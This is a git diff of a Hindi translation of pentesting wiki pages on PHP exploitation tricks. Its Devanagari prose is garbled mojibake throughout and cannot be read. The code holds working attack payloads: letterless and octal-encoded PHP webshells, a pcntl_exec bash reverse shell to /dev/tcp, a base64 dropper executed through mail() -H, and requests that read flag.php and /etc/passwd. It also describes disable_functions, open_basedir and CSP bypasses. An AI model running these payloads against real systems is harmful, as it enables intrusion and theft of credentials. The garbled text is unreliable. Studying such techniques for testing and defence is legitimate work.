рдкрде рдХреБрдХреА рдХреЗ рдорд╛рди рдХреЛ рд╕реЗрдЯ рдХрд░рддрд╛ рд╣реИред\ +рдЗрд╕ рддрд░рд╣ рдпрджрд┐ **рджреЛрдиреЛрдВ рдкрде рдПрдХ рд╣реА рдирд╛рдо рдХреЗ рд╕рд╛рде рдПрдХ рдЪрд░ рдХреЛ рдПрдХреНрд╕реЗрд╕ рдХрд░рддреЗ рд╣реИрдВ** рддреЛ рдЖрдк **path1 рдореЗрдВ рдЙрд╕ рдЪрд░ рдХрд╛ рдорд╛рди path2 рдкрд░ рд▓рд╛рдЧреВ рдХрд░ рд╕рдХрддреЗ рд╣реИрдВ**ред рдФрд░ рдлрд┐рд░ path2 path1 рдХреЗ рдЪрд░ рдХреЛ рд╡реИрдз рдорд╛рди рд▓реЗрдЧрд╛ (рдХреБрдХреА рдХреЛ рдЙрд╕ рдирд╛рдо рдХреЗ рд╕рд╛рде рджреЗрдиреЗ рд╕реЗ рдЬреЛ path2 рдореЗрдВ рдЙрд╕рдХреЗ рдЕрдиреБрд░реВрдк рд╣реИ)ред +- рдЬрдм рдЖрдкрдХреЗ рдкрд╛рд╕ рдорд╢реАрди рдХреЗ рдЙрдкрдпреЛрдЧрдХрд░реНрддрд╛рдУрдВ рдХреЗ **рдЙрдкрдпреЛрдЧрдХрд░реНрддрд╛ рдирд╛рдо** рд╣реЛрддреЗ рд╣реИрдВред рдкрддрд╛ рдЬрд╛рдВрдЪреЗрдВ: **/\~\** рдпрд╣ рджреЗрдЦрдиреЗ рдХреЗ рд▓рд┐рдП рдХрд┐ рдХреНрдпрд╛ php рдирд┐рд░реНрджреЗрд╢рд┐рдХрд╛рдПрдБ рд╕рдХреНрд░рд┐рдп рд╣реИрдВред +- рдпрджрд┐ рдПрдХ php рдХреЙрдиреНрдлрд╝рд┐рдЧрд░реЗрд╢рди рдореЗрдВ **`register_argc_argv = On`** рд╣реИ рддреЛ рд╕реНрдкреЗрд╕ рджреНрд╡рд╛рд░рд╛ рдЕрд▓рдЧ рдХрд┐рдП рдЧрдП рдХреНрд╡реЗрд░реА рдкреИрд░рд╛рдореАрдЯрд░ рдХреЛ рддрд░реНрдХреЛрдВ рдХреЗ рдРрд░реЗ рдХреЛ рднрд░рдиреЗ рдХреЗ рд▓рд┐рдП рдЙрдкрдпреЛрдЧ рдХрд┐рдпрд╛ рдЬрд╛рддрд╛ рд╣реИ **`array_keys($_SERVER['argv'])`** рдЬреИрд╕реЗ рдХрд┐ рд╡реЗ **CLI рд╕реЗ рддрд░реНрдХ рд╣реЛрддреЗ**ред рдпрд╣ рджрд┐рд▓рдЪрд╕реНрдк рд╣реИ рдХреНрдпреЛрдВрдХрд┐ рдпрджрд┐ рд╡рд╣ **рд╕реЗрдЯрд┐рдВрдЧ рдмрдВрдж рд╣реИ**, рддреЛ **args рдРрд░реЗ рдХрд╛ рдорд╛рди `Null`** рд╣реЛрдЧрд╛ рдЬрдм рдЗрд╕реЗ рд╡реЗрдм рд╕реЗ рдХреЙрд▓ рдХрд┐рдпрд╛ рдЬрд╛рдПрдЧрд╛ рдХреНрдпреЛрдВрдХрд┐ ars arry рдирд╣реАрдВ рднрд░рд╛ рдЬрд╛рдПрдЧрд╛ред рдЗрд╕рд▓рд┐рдП, рдпрджрд┐ рдПрдХ рд╡реЗрдм рдкреГрд╖реНрда рдпрд╣ рдЬрд╛рдВрдЪрдиреЗ рдХреА рдХреЛрд╢рд┐рд╢ рдХрд░рддрд╛ рд╣реИ рдХрд┐ рдХреНрдпрд╛ рдпрд╣ рд╡реЗрдм рдХреЗ рд░реВрдк рдореЗрдВ рдЪрд▓ рд░рд╣рд╛ рд╣реИ рдпрд╛ CLI рдЯреВрд▓ рдХреЗ рд░реВрдк рдореЗрдВ рдПрдХ рддреБрд▓рдирд╛ рдХреЗ рд╕рд╛рде рдЬреИрд╕реЗ `if (empty($_SERVER['argv'])) {` рдПрдХ рд╣рдорд▓рд╛рд╡рд░ **GET рдЕрдиреБрд░реЛрдз рдореЗрдВ рдкреИрд░рд╛рдореАрдЯрд░ рднреЗрдЬ рд╕рдХрддрд╛ рд╣реИ рдЬреИрд╕реЗ `?--configPath=/lalala`** рдФрд░ рдпрд╣ рд╕реЛрдЪреЗрдЧрд╛ рдХрд┐ рдпрд╣ CLI рдХреЗ рд░реВрдк рдореЗрдВ рдЪрд▓ рд░рд╣рд╛ рд╣реИ рдФрд░ рд╕рдВрднрд╛рд╡рд┐рдд рд░реВрдк рд╕реЗ рдЙрди рддрд░реНрдХреЛрдВ рдХреЛ рдкрд╛рд░реНрд╕ рдФрд░ рдЙрдкрдпреЛрдЧ рдХрд░реЗрдЧрд╛ред рдЕрдзрд┐рдХ рдЬрд╛рдирдХрд╛рд░реА рдХреЗ рд▓рд┐рдП [рдореВрд▓ рд▓реЗрдЦ](https://www.assetnote.io/resources/research/how-an-obscure-php-footgun-led-to-rce-in-craft-cms) рдореЗрдВред - [**LFI рдФрд░ RCE php wrappers рдХрд╛ рдЙрдкрдпреЛрдЧ рдХрд░рдХреЗ**](../../../pentesting-web/file-inclusion/index.html) ### password_hash/password_verify -рдпреЗ рдлрд╝рдВрдХреНрд╢рди рдЖрдорддреМрд░ рдкрд░ PHP рдореЗрдВ **рдкрд╛рд╕рд╡рд░реНрдб рд╕реЗ рд╣реИрд╢ рдЙрддреНрдкрдиреНрди рдХрд░рдиреЗ** рдФрд░ рдпрд╣ **рдЬрд╛рдВрдЪрдиреЗ** рдХреЗ рд▓рд┐рдП рдЙрдкрдпреЛрдЧ рдХрд┐рдП рдЬрд╛рддреЗ рд╣реИрдВ рдХрд┐ рдХреНрдпрд╛ рдПрдХ рдкрд╛рд╕рд╡рд░реНрдб рдПрдХ рд╣реИрд╢ рдХреА рддреБрд▓рдирд╛ рдореЗрдВ рд╕рд╣реА рд╣реИред\ +рдпреЗ рдлрд╝рдВрдХреНрд╢рди рдЖрдорддреМрд░ рдкрд░ PHP рдореЗрдВ **рдкрд╛рд╕рд╡рд░реНрдб рд╕реЗ рд╣реИрд╢ рдЙрддреНрдкрдиреНрди рдХрд░рдиреЗ** рдФрд░ рдпрд╣ **рдЬрд╛рдВрдЪрдиреЗ** рдХреЗ рд▓рд┐рдП рдЙрдкрдпреЛрдЧ рдХрд┐рдП рдЬрд╛рддреЗ рд╣реИрдВ рдХрд┐ рдХреНрдпрд╛ рдПрдХ рдкрд╛рд╕рд╡рд░реНрдб рд╣реИрд╢ рдХреА рддреБрд▓рдирд╛ рдореЗрдВ рд╕рд╣реА рд╣реИред\ рд╕рдорд░реНрдерд┐рдд рдПрд▓реНрдЧреЛрд░рд┐рджрдо рд╣реИрдВ: `PASSWORD_DEFAULT` рдФрд░ `PASSWORD_BCRYPT` (рдЬреЛ `$2y$` рд╕реЗ рд╢реБрд░реВ рд╣реЛрддрд╛ рд╣реИ)ред рдзреНрдпрд╛рди рджреЗрдВ рдХрд┐ **PASSWORD_DEFAULT рдЕрдХреНрд╕рд░ PASSWORD_BCRYPT рдХреЗ рд╕рдорд╛рди рд╣реЛрддрд╛ рд╣реИред** рдФрд░ рд╡рд░реНрддрдорд╛рди рдореЗрдВ, **PASSWORD_BCRYPT** рдХрд╛ **рдЗрдирдкреБрдЯ рдореЗрдВ 72рдмрд╛рдЗрдЯреНрд╕ рдХрд╛ рдЖрдХрд╛рд░ рд╕реАрдорд╛** рд╣реИред рдЗрд╕рд▓рд┐рдП, рдЬрдм рдЖрдк рдЗрд╕ рдПрд▓реНрдЧреЛрд░рд┐рджрдо рдХреЗ рд╕рд╛рде 72рдмрд╛рдЗрдЯреНрд╕ рд╕реЗ рдмрдбрд╝рд╛ рдХреБрдЫ рд╣реИрд╢ рдХрд░рдиреЗ рдХреА рдХреЛрд╢рд┐рд╢ рдХрд░рддреЗ рд╣реИрдВ, рддреЛ рдХреЗрд╡рд▓ рдкрд╣рд▓реЗ 72B рдХрд╛ рдЙрдкрдпреЛрдЧ рдХрд┐рдпрд╛ рдЬрд╛рдПрдЧрд╛: ```php $cont=71; echo password_verify(str_repeat("a",$cont), password_hash(str_repeat("a",$cont)."b", PASSW @@ -175,9 +175,9 @@ True #### Causing error after setting headers -From [**this twitter thread**](https://twitter.com/pilvar222/status/1784618120902005070?t=xYn7KdyIvnNOlkVaGbgL6A&s=19) рдЖрдк рджреЗрдЦ рд╕рдХрддреЗ рд╣реИрдВ рдХрд┐ 1000 рд╕реЗ рдЕрдзрд┐рдХ GET params рдпрд╛ 1000 POST params рдпрд╛ 20 рдлрд╝рд╛рдЗрд▓реЗрдВ рднреЗрдЬрдиреЗ рдкрд░, PHOP рдкреНрд░рддрд┐рдХреНрд░рд┐рдпрд╛ рдореЗрдВ рд╣реЗрдбрд░ рд╕реЗрдЯ рдирд╣реАрдВ рдХрд░реЗрдЧрд╛ред +From [**this twitter thread**](https://twitter.com/pilvar222/status/1784618120902005070?t=xYn7KdyIvnNOlkVaGbgL6A&s=19) рдЖрдк рджреЗрдЦ рд╕рдХрддреЗ рд╣реИрдВ рдХрд┐ 1000 рд╕реЗ рдЕрдзрд┐рдХ GET params рдпрд╛ 1000 POST params рдпрд╛ 20 рдлрд╛рдЗрд▓реЗрдВ рднреЗрдЬрдиреЗ рдкрд░, PHOP рдкреНрд░рддрд┐рдХреНрд░рд┐рдпрд╛ рдореЗрдВ рд╣реЗрдбрд░ рд╕реЗрдЯ рдирд╣реАрдВ рдХрд░реЗрдЧрд╛ред -рдЙрджрд╛рд╣рд░рдг рдХреЗ рд▓рд┐рдП CSP рд╣реЗрдбрд░ рдХреЛ рдмрд╛рдпрдкрд╛рд╕ рдХрд░рдиреЗ рдХреА рдЕрдиреБрдорддрд┐ рджреЗрддрд╛ рд╣реИ рдЬреЛ рдХреЛрдб рдореЗрдВ рд╕реЗрдЯ рдХрд┐рдП рдЧрдП рд╣реИрдВ: +рдЙрджрд╛рд╣рд░рдг рдХреЗ рд▓рд┐рдП CSP рд╣реЗрдбрд░ рдХреЛ рдХреЛрдб рдореЗрдВ рд╕реЗрдЯ рдХрд░рдиреЗ рдХреЗ рд▓рд┐рдП рдмрд╛рдпрдкрд╛рд╕ рдХрд░рдиреЗ рдХреА рдЕрдиреБрдорддрд┐ рджреЗрддрд╛ рд╣реИ: ```php {system($_GET[chr(97)])} @@ -359,11 +359,11 @@ echo "$x ${Da}"; //Da Drums php-rce-abusing-object-creation-new-usd_get-a-usd_get-b.md {{#endref}} -## Execute PHP without letters +## рдмрд┐рдирд╛ рдЕрдХреНрд╖рд░реЛрдВ рдХреЗ PHP рдирд┐рд╖реНрдкрд╛рджрд┐рдд рдХрд░реЗрдВ [https://securityonline.info/bypass-waf-php-webshell-without-numbers-letters/](https://securityonline.info/bypass-waf-php-webshell-without-numbers-letters/) -### Using octal +### рдСрдХреНрдЯрд▓ рдХрд╛ рдЙрдкрдпреЛрдЧ рдХрд░рдирд╛ ```php $_="\163\171\163\164\145\155(\143\141\164\40\56\160\141\163\163\167\144)"; #system(cat .passwd); ``` @@ -383,7 +383,7 @@ ${$_}[_](${$_}[__]); // $_GET[_]($_GET[__]); $_="`{{{"^"?<>/";${$_}[_](${$_}[__]); // $_ = '_GET'; $_GET[_]($_GET[__]); ``` -рддреЛ, рдпрджрд┐ рдЖрдк **рд╕рдВрдЦреНрдпрд╛рдУрдВ рдФрд░ рдЕрдХреНрд╖рд░реЛрдВ рдХреЗ рдмрд┐рдирд╛ рдордирдорд╛рдирд╛ PHP рдирд┐рд╖реНрдкрд╛рджрд┐рдд рдХрд░ рд╕рдХрддреЗ рд╣реИрдВ** рддреЛ рдЖрдк рдирд┐рдореНрдирд▓рд┐рдЦрд┐рдд рдЕрдиреБрд░реЛрдз рднреЗрдЬ рд╕рдХрддреЗ рд╣реИрдВ рдЬреЛ рдЙрд╕ рдкреЗрд▓реЛрдб рдХрд╛ рджреБрд░реБрдкрдпреЛрдЧ рдХрд░рдХреЗ рдордирдорд╛рдирд╛ PHP рдирд┐рд╖реНрдкрд╛рджрд┐рдд рдХрд░рддрд╛ рд╣реИ: +рддреЛ, рдпрджрд┐ рдЖрдк **рд╕рдВрдЦреНрдпрд╛рдУрдВ рдФрд░ рдЕрдХреНрд╖рд░реЛрдВ рдХреЗ рдмрд┐рдирд╛ рдордирдорд╛рдирд╛ PHP рдирд┐рд╖реНрдкрд╛рджрд┐рдд рдХрд░ рд╕рдХрддреЗ рд╣реИрдВ** рддреЛ рдЖрдк рдЙрд╕ рдкреЗрд▓реЛрдб рдХрд╛ рджреБрд░реБрдкрдпреЛрдЧ рдХрд░рдХреЗ рдордирдорд╛рдирд╛ PHP рдирд┐рд╖реНрдкрд╛рджрд┐рдд рдХрд░рдиреЗ рдХреЗ рд▓рд┐рдП рдирд┐рдореНрдирд▓рд┐рдЦрд┐рдд рдЕрдиреБрд░реЛрдз рднреЗрдЬ рд╕рдХрддреЗ рд╣реИрдВ: ``` POST: /action.php?_=system&__=cat+flag.php Content-Type: application/x-www-form-urlencoded diff --git a/src/network-services-pentesting/pentesting-web/php-tricks-esp/php-useful-functions-disable_functions-open_basedir-bypass/README.md b/src/network-services-pentesting/pentesting-web/php-tricks-esp/php-useful-functions-disable_functions-open_basedir-bypass/README.md index 47adc1bee..76c386c36 100644 --- a/src/network-services-pentesting/pentesting-web/php-tricks-esp/php-useful-functions-disable_functions-open_basedir-bypass/README.md +++ b/src/network-services-pentesting/pentesting-web/php-tricks-esp/php-useful-functions-disable_functions-open_basedir-bypass/README.md @@ -12,7 +12,7 @@ ```bash echo exec("uname -a"); ``` -**passthru** - рдХрдорд╛рдВрдбреНрд╕ рдХрд╛ рдЖрдЙрдЯрдкреБрдЯ рд╕реАрдзреЗ рдмреНрд░рд╛рдЙрдЬрд╝рд░ рдореЗрдВ рдкрд╛рд╕ рдХрд░рддрд╛ рд╣реИ +**passthru** - рдХрдорд╛рдВрдб рдХрд╛ рдЖрдЙрдЯрдкреБрдЯ рд╕реАрдзреЗ рдмреНрд░рд╛рдЙрдЬрд╝рд░ рдореЗрдВ рдкрд╛рд╕ рдХрд░рддрд╛ рд╣реИ ```bash echo passthru("uname -a"); ``` @@ -20,11 +20,11 @@ echo passthru("uname -a"); ```bash echo system("uname -a"); ``` -**shell_exec** - рдХрдорд╛рдВрдб рдХрд╛ рдЖрдЙрдЯрдкреБрдЯ рд▓реМрдЯрд╛рддрд╛ рд╣реИ +**shell_exec** - рдХрдорд╛рдВрдбреНрд╕ рдХрд╛ рдЖрдЙрдЯрдкреБрдЯ рд▓реМрдЯрд╛рддрд╛ рд╣реИ ```bash echo shell_exec("uname -a"); ``` -\`\` (рдмреИрдХрдЯрд┐рдХ) - shell_exec() рдХреЗ рд╕рдорд╛рди +\`\` (backticks) - shell_exec() рдХреЗ рд╕рдорд╛рди ```bash echo `uname -a` ``` @@ -48,7 +48,7 @@ pcntl_exec("/bin/bash", ["-c", "bash -i >& /dev/tcp/127.0.0.1/4444 0>&1"]); ```bash file_put_contents('/www/readflag.sh', base64_decode('IyEvYmluL3NoCi9yZWFkZmxhZyA+IC90bXAvZmxhZy50eHQKCg==')); chmod('/www/readflag.sh', 0777); mail('', '', '', '', '-H \"exec /www/readflag.sh\"'); echo file_get_contents('/tmp/flag.txt'); ``` -**dl** - рдпрд╣ рдлрд╝рдВрдХреНрд╢рди PHP рдПрдХреНрд╕рдЯреЗрдВрд╢рди рдХреЛ рдЧрддрд┐рд╢реАрд▓ рд░реВрдк рд╕реЗ рд▓реЛрдб рдХрд░рдиреЗ рдХреЗ рд▓рд┐рдП рдЙрдкрдпреЛрдЧ рдХрд┐рдпрд╛ рдЬрд╛ рд╕рдХрддрд╛ рд╣реИред рдпрд╣ рдлрд╝рдВрдХреНрд╢рди рд╣рдореЗрд╢рд╛ рдореМрдЬреВрдж рдирд╣реАрдВ рд╣реЛрдЧрд╛, рдЗрд╕рд▓рд┐рдП рдЖрдкрдХреЛ рдЗрд╕реЗ рд╢реЛрд╖рдг рдХрд░рдиреЗ рдХреА рдХреЛрд╢рд┐рд╢ рдХрд░рдиреЗ рд╕реЗ рдкрд╣рд▓реЗ рдпрд╣ рдЬрд╛рдВрдЪрдирд╛ рдЪрд╛рд╣рд┐рдП рдХрд┐ рдпрд╣ рдЙрдкрд▓рдмреНрдз рд╣реИ рдпрд╛ рдирд╣реАрдВред [рдЗрд╕ рдкреГрд╖реНрда рдХреЛ рдкрдврд╝реЗрдВ рдХрд┐ рдЗрд╕ рдлрд╝рдВрдХреНрд╢рди рдХрд╛ рд╢реЛрд╖рдг рдХреИрд╕реЗ рдХрд░реЗрдВ](disable_functions-bypass-dl-function.md)ред +**dl** - рдпрд╣ рдлрд╝рдВрдХреНрд╢рди PHP рдПрдХреНрд╕рдЯреЗрдВрд╢рди рдХреЛ рдЧрддрд┐рд╢реАрд▓ рд░реВрдк рд╕реЗ рд▓реЛрдб рдХрд░рдиреЗ рдХреЗ рд▓рд┐рдП рдЙрдкрдпреЛрдЧ рдХрд┐рдпрд╛ рдЬрд╛ рд╕рдХрддрд╛ рд╣реИред рдпрд╣ рдлрд╝рдВрдХреНрд╢рди рд╣рдореЗрд╢рд╛ рдореМрдЬреВрдж рдирд╣реАрдВ рд╣реЛрдЧрд╛, рдЗрд╕рд▓рд┐рдП рдЖрдкрдХреЛ рдЗрд╕реЗ рд╢реЛрд╖рдг рдХрд░рдиреЗ рд╕реЗ рдкрд╣рд▓реЗ рдпрд╣ рдЬрд╛рдВрдЪрдирд╛ рдЪрд╛рд╣рд┐рдП рдХрд┐ рдпрд╣ рдЙрдкрд▓рдмреНрдз рд╣реИ рдпрд╛ рдирд╣реАрдВред [рдЗрд╕ рдкреГрд╖реНрда рдХреЛ рдкрдврд╝реЗрдВ рдХрд┐ рдЗрд╕ рдлрд╝рдВрдХреНрд╢рди рдХрд╛ рд╢реЛрд╖рдг рдХреИрд╕реЗ рдХрд░реЗрдВ](disable_functions-bypass-dl-function.md)ред ### PHP рдХреЛрдб рдирд┐рд╖реНрдкрд╛рджрди @@ -74,7 +74,7 @@ $func->invokeArgs(array()); ``` ## disable_functions & open_basedir -**Disabled functions** рд╡рд╣ рд╕реЗрдЯрд┐рдВрдЧ рд╣реИ рдЬрд┐рд╕реЗ PHP рдореЗрдВ `.ini` рдлрд╝рд╛рдЗрд▓реЛрдВ рдореЗрдВ рдХреЙрдиреНрдлрд╝рд┐рдЧрд░ рдХрд┐рдпрд╛ рдЬрд╛ рд╕рдХрддрд╛ рд╣реИ рдЬреЛ рдирд┐рд░реНрджрд┐рд╖реНрдЯ **functions** рдХреЗ рдЙрдкрдпреЛрдЧ рдХреЛ **рдирд┐рд╖реЗрдз** рдХрд░рддреА рд╣реИред **Open basedir** рд╡рд╣ рд╕реЗрдЯрд┐рдВрдЧ рд╣реИ рдЬреЛ PHP рдХреЛ рдЙрд╕ рдлрд╝реЛрд▓реНрдбрд░ рдХрд╛ рд╕рдВрдХреЗрдд рджреЗрддреА рд╣реИ рдЬрд┐рд╕реЗ рд╡рд╣ рдПрдХреНрд╕реЗрд╕ рдХрд░ рд╕рдХрддрд╛ рд╣реИред\ +**Disabled functions** рд╡рд╣ рд╕реЗрдЯрд┐рдВрдЧ рд╣реИ рдЬрд┐рд╕реЗ PHP рдореЗрдВ `.ini` рдлрд╝рд╛рдЗрд▓реЛрдВ рдореЗрдВ рдХреЙрдиреНрдлрд╝рд┐рдЧрд░ рдХрд┐рдпрд╛ рдЬрд╛ рд╕рдХрддрд╛ рд╣реИ рдЬреЛ рдирд┐рд░реНрджрд┐рд╖реНрдЯ **functions** рдХреЗ рдЙрдкрдпреЛрдЧ рдХреЛ **рдирд┐рд╖рд┐рджреНрдз** рдХрд░реЗрдЧреАред **Open basedir** рд╡рд╣ рд╕реЗрдЯрд┐рдВрдЧ рд╣реИ рдЬреЛ PHP рдХреЛ рдЙрд╕ рдлрд╝реЛрд▓реНрдбрд░ рдХрд╛ рд╕рдВрдХреЗрдд рджреЗрддреА рд╣реИ рдЬрд┐рд╕реЗ рд╡рд╣ рдПрдХреНрд╕реЗрд╕ рдХрд░ рд╕рдХрддрд╛ рд╣реИред\ PHP рд╕реЗрдЯрд┐рдВрдЧ рдХреЛ _/etc/php7/conf.d_ рдпрд╛ рд╕рдорд╛рди рдкрде рдореЗрдВ рдХреЙрдиреНрдлрд╝рд┐рдЧрд░ рдХрд┐рдпрд╛ рдЬрд╛рдирд╛ рдЪрд╛рд╣рд┐рдПред рджреЛрдиреЛрдВ рдХреЙрдиреНрдлрд╝рд┐рдЧрд░реЗрд╢рди рдХреЛ **`phpinfo()`** рдХреЗ рдЖрдЙрдЯрдкреБрдЯ рдореЗрдВ рджреЗрдЦрд╛ рдЬрд╛ рд╕рдХрддрд╛ рд╣реИ: @@ -86,11 +86,11 @@ PHP рд╕реЗрдЯрд┐рдВрдЧ рдХреЛ _/etc/php7/conf.d_ рдпрд╛ рд╕рдорд╛рди рдкрде рдо ## open_basedir Bypass `open_basedir` рдЙрди рдлрд╝реЛрд▓реНрдбрд░реЛрдВ рдХреЛ рдХреЙрдиреНрдлрд╝рд┐рдЧрд░ рдХрд░реЗрдЧрд╛ рдЬрд┐рдиреНрд╣реЗрдВ PHP рдПрдХреНрд╕реЗрд╕ рдХрд░ рд╕рдХрддрд╛ рд╣реИ, рдЖрдк **рдЙрди рдлрд╝реЛрд▓реНрдбрд░реЛрдВ рдХреЗ рдмрд╛рд╣рд░** рдХреЛрдИ рдлрд╝рд╛рдЗрд▓ рд▓рд┐рдЦ/read/execute рдирд╣реАрдВ рдХрд░ рдкрд╛рдПрдВрдЧреЗ, рд▓реЗрдХрд┐рди рдЖрдк **рдЕрдиреНрдп рдирд┐рд░реНрджреЗрд╢рд┐рдХрд╛рдУрдВ рдХреЛ рд╕реВрдЪреАрдмрджреНрдз** рднреА рдирд╣реАрдВ рдХрд░ рдкрд╛рдПрдВрдЧреЗред\ -рд╣рд╛рд▓рд╛рдВрдХрд┐, рдпрджрд┐ рдХрд┐рд╕реА рддрд░рд╣ рдЖрдк рдордирдорд╛рдирд╛ PHP рдХреЛрдб рдирд┐рд╖реНрдкрд╛рджрд┐рдд рдХрд░рдиреЗ рдореЗрдВ рд╕рдХреНрд╖рдо рд╣реИрдВ, рддреЛ рдЖрдк **рдирд┐рд╖реЗрдз** рдХреЛ **рдмрд╛рдпрдкрд╛рд╕** рдХрд░рдиреЗ рдХреЗ рд▓рд┐рдП рдирд┐рдореНрдирд▓рд┐рдЦрд┐рдд **рдХреЛрдб** рдХреЗ рдЯреБрдХрдбрд╝реЗ рдХреЛ **рдХреЛрд╢рд┐рд╢** рдХрд░ рд╕рдХрддреЗ рд╣реИрдВред +рд╣рд╛рд▓рд╛рдВрдХрд┐, рдпрджрд┐ рдХрд┐рд╕реА рддрд░рд╣ рдЖрдк рдордирдорд╛рдирд╛ PHP рдХреЛрдб рдирд┐рд╖реНрдкрд╛рджрд┐рдд рдХрд░рдиреЗ рдореЗрдВ рд╕рдХреНрд╖рдо рд╣реИрдВ, рддреЛ рдЖрдк **рдирд┐рд╖реЗрдз** рдХреЛ **рдмрд╛рдпрдкрд╛рд╕** рдХрд░рдиреЗ рдХреЗ рд▓рд┐рдП рдирд┐рдореНрдирд▓рд┐рдЦрд┐рдд **codes** рдХреЗ рдЯреБрдХрдбрд╝реЗ рдХреЛ **рдХреЛрд╢рд┐рд╢** рдХрд░ рд╕рдХрддреЗ рд╣реИрдВред ### Listing dirs with glob:// bypass -рдЗрд╕ рдкрд╣рд▓реЗ рдЙрджрд╛рд╣рд░рдг рдореЗрдВ `glob://` рдкреНрд░реЛрдЯреЛрдХреЙрд▓ рдХреЗ рд╕рд╛рде рдХреБрдЫ рдкрде рдмрд╛рдпрдкрд╛рд╕ рдХрд╛ рдЙрдкрдпреЛрдЧ рдХрд┐рдпрд╛ рдЧрдпрд╛ рд╣реИ: +рдЗрд╕ рдкрд╣рд▓реЗ рдЙрджрд╛рд╣рд░рдг рдореЗрдВ `glob://` рдкреНрд░реЛрдЯреЛрдХреЙрд▓ рдХрд╛ рдЙрдкрдпреЛрдЧ рдХреБрдЫ рдкрде рдмрд╛рдпрдкрд╛рд╕ рдХреЗ рд╕рд╛рде рдХрд┐рдпрд╛ рдЧрдпрд╛ рд╣реИ: ```php request($params, $code)."\n"; ?> ``` -рдпреЗ рд╕реНрдХреНрд░рд┐рдкреНрдЯ **php-fpm рдХреЗ unix socket** рдХреЗ рд╕рд╛рде рд╕рдВрд╡рд╛рдж рдХрд░реЗрдЧреА (рдЬреЛ рдЖрдорддреМрд░ рдкрд░ /var/run рдореЗрдВ рд╕реНрдерд┐рдд рд╣реЛрддрд╛ рд╣реИ рдпрджрд┐ fpm рдХрд╛ рдЙрдкрдпреЛрдЧ рдХрд┐рдпрд╛ рдЬрд╛рддрд╛ рд╣реИ) рддрд╛рдХрд┐ рдордирдорд╛рдирд╛ рдХреЛрдб рдирд┐рд╖реНрдкрд╛рджрд┐рдд рдХрд┐рдпрд╛ рдЬрд╛ рд╕рдХреЗред `open_basedir` рд╕реЗрдЯрд┐рдВрдЧреНрд╕ рдХреЛ **PHP_VALUE** рд╡рд┐рд╢реЗрд╖рддрд╛ рджреНрд╡рд╛рд░рд╛ рдЕрдзрд┐рд▓реЗрдЦрд┐рдд рдХрд┐рдпрд╛ рдЬрд╛рдПрдЧрд╛ рдЬреЛ рднреЗрдЬреА рдЬрд╛рддреА рд╣реИред\ +рдпрд╣ рд╕реНрдХреНрд░рд┐рдкреНрдЯ **unix socket of php-fpm** (рдЖрдорддреМрд░ рдкрд░ /var/run рдореЗрдВ рд╕реНрдерд┐рдд рд╣реЛрддрд╛ рд╣реИ рдпрджрд┐ fpm рдХрд╛ рдЙрдкрдпреЛрдЧ рдХрд┐рдпрд╛ рдЬрд╛рддрд╛ рд╣реИ) рдХреЗ рд╕рд╛рде рд╕рдВрд╡рд╛рдж рдХрд░реЗрдЧреА рддрд╛рдХрд┐ рдордирдорд╛рдирд╛ рдХреЛрдб рдирд┐рд╖реНрдкрд╛рджрд┐рдд рдХрд┐рдпрд╛ рдЬрд╛ рд╕рдХреЗред `open_basedir` рд╕реЗрдЯрд┐рдВрдЧреНрд╕ рдХреЛ **PHP_VALUE** рд╡рд┐рд╢реЗрд╖рддрд╛ рджреНрд╡рд╛рд░рд╛ рдЕрдзрд┐рд▓реЗрдЦрд┐рдд рдХрд┐рдпрд╛ рдЬрд╛рдПрдЧрд╛ рдЬреЛ рднреЗрдЬреА рдЬрд╛рддреА рд╣реИред\ рдзреНрдпрд╛рди рджреЗрдВ рдХрд┐ `eval` рдХрд╛ рдЙрдкрдпреЛрдЧ PHP рдХреЛрдб рдирд┐рд╖реНрдкрд╛рджрд┐рдд рдХрд░рдиреЗ рдХреЗ рд▓рд┐рдП рдХрд┐рдпрд╛ рдЬрд╛рддрд╛ рд╣реИ рдЬреЛ рдЖрдк **cmd** рдкреИрд░рд╛рдореАрдЯрд░ рдХреЗ рдЕрдВрджрд░ рднреЗрдЬрддреЗ рд╣реИрдВред\ -рдЗрд╕рдХреЗ рдЕрд▓рд╛рд╡рд╛, **commented line 324** рдкрд░ рдзреНрдпрд╛рди рджреЗрдВ, рдЖрдк рдЗрд╕реЗ рдЕрдирдХрдореЗрдВрдЯ рдХрд░ рд╕рдХрддреЗ рд╣реИрдВ рдФрд░ **payload рд╕реНрд╡рдЪрд╛рд▓рд┐рдд рд░реВрдк рд╕реЗ рджрд┐рдП рдЧрдП URL рд╕реЗ рдХрдиреЗрдХреНрдЯ рд╣реЛрдЧрд╛ рдФрд░ рд╡рд╣рд╛рдВ рдирд┐рд╣рд┐рдд PHP рдХреЛрдб рдХреЛ рдирд┐рд╖реНрдкрд╛рджрд┐рдд рдХрд░реЗрдЧрд╛ред**\ +рдпрд╣ рднреА рдзреНрдпрд╛рди рджреЗрдВ рдХрд┐ **commented line 324**, рдЖрдк рдЗрд╕реЗ рдЕрдирдХрдореЗрдВрдЯ рдХрд░ рд╕рдХрддреЗ рд╣реИрдВ рдФрд░ **payload рд╕реНрд╡рдЪрд╛рд▓рд┐рдд рд░реВрдк рд╕реЗ рджрд┐рдП рдЧрдП URL рд╕реЗ рдХрдиреЗрдХреНрдЯ рд╣реЛрдЧрд╛ рдФрд░ рд╡рд╣рд╛рдВ рдирд┐рд╣рд┐рдд PHP рдХреЛрдб рдХреЛ рдирд┐рд╖реНрдкрд╛рджрд┐рдд рдХрд░реЗрдЧрд╛ред**\ рдмрд╕ `http://vulnerable.com:1337/l.php?cmd=echo file_get_contents('/etc/passwd');` рдкрд░ рдЬрд╛рдПрдВ рддрд╛рдХрд┐ `/etc/passwd` рдлрд╝рд╛рдЗрд▓ рдХреА рд╕рд╛рдордЧреНрд░реА рдкреНрд░рд╛рдкреНрдд рдХреА рдЬрд╛ рд╕рдХреЗред > [!WARNING] @@ -491,11 +491,11 @@ echo $client->request($params, $code)."\n"; ### Bypassing using other system functions -рдмрд╕ рдЗрд╕ рдкреГрд╖реНрда рдХреЗ рд╢реБрд░реБрдЖрдд рдореЗрдВ рд▓реМрдЯреЗрдВ рдФрд░ **рдЬрд╛рдВрдЪреЗрдВ рдХрд┐ рдХреНрдпрд╛ рдХреЛрдИ рднреА рдХрдорд╛рдВрдб рдирд┐рд╖реНрдкрд╛рджрд┐рдд рдХрд░рдиреЗ рд╡рд╛рд▓реА рдлрд╝рдВрдХреНрд╢рди рдирд┐рд╖реНрдХреНрд░рд┐рдп рдФрд░ рд╡рд╛рддрд╛рд╡рд░рдг рдореЗрдВ рдЙрдкрд▓рдмреНрдз рдирд╣реАрдВ рд╣реИ**ред рдпрджрд┐ рдЖрдк рдЙрдирдореЗрдВ рд╕реЗ рдХреЗрд╡рд▓ 